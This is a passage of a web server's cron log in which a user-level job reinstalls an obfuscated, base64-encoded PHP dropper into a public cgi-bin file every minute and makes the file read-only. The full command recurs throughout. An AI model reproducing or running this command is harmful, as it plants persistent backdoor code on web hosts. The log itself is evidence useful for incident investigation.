"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:51:01 server CROND[1187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:52:01 server CROND[1792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:52:01 server CROND[1793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:52:01 server CROND[1794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:53:01 server CROND[2890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:53:01 server CROND[2889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:53:01 server CROND[2891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:54:01 server CROND[3942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:54:01 server CROND[3943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:54:01 server CROND[3944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:55:01 server CROND[4697]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:55:01 server CROND[4699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:55:01 server CROND[4702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:55:01 server CROND[4707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:55:01 server CROND[4706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:55:01 server CROND[4708]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:55:01 server CROND[4704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:56:01 server CROND[5561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:56:01 server CROND[5563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:56:01 server CROND[5562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:57:01 server CROND[5951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:57:01 server CROND[5952]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 02:57:01 server CROND[5954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:57:01 server CROND[5955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:58:01 server CROND[6353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:58:01 server CROND[6352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:58:01 server CROND[6354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:59:01 server CROND[6873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:59:01 server CROND[6875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:59:01 server CROND[6876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:59:01 server CROND[6877]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  9 03:00:01 server CROND[7291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:00:01 server CROND[7293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:00:01 server CROND[7295]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:00:01 server CROND[7297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:00:01 server CROND[7299]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 03:00:01 server CROND[7298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:00:01 server CROND[7302]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:00:01 server CROND[7300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:00:01 server CROND[7304]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:01:01 server CROND[8174]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 03:01:01 server CROND[8175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:01:01 server CROND[8176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:01:01 server CROND[8177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:01:01 server run-parts(/etc/cron.hourly)[8174]: starting 0anacron
Sep  9 03:01:01 server anacron[8198]: Anacron started on 2026-09-09
Sep  9 03:01:01 server anacron[8198]: Will run job `cron.daily' in 42 min.
Sep  9 03:01:01 server anacron[8198]: Jobs will be executed sequentially
Sep  9 03:01:01 server run-parts(/etc/cron.hourly)[8200]: finished 0anacron
Sep  9 03:02:01 server CROND[8798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:02:01 server CROND[8799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:02:01 server CROND[8800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:03:01 server CROND[9212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
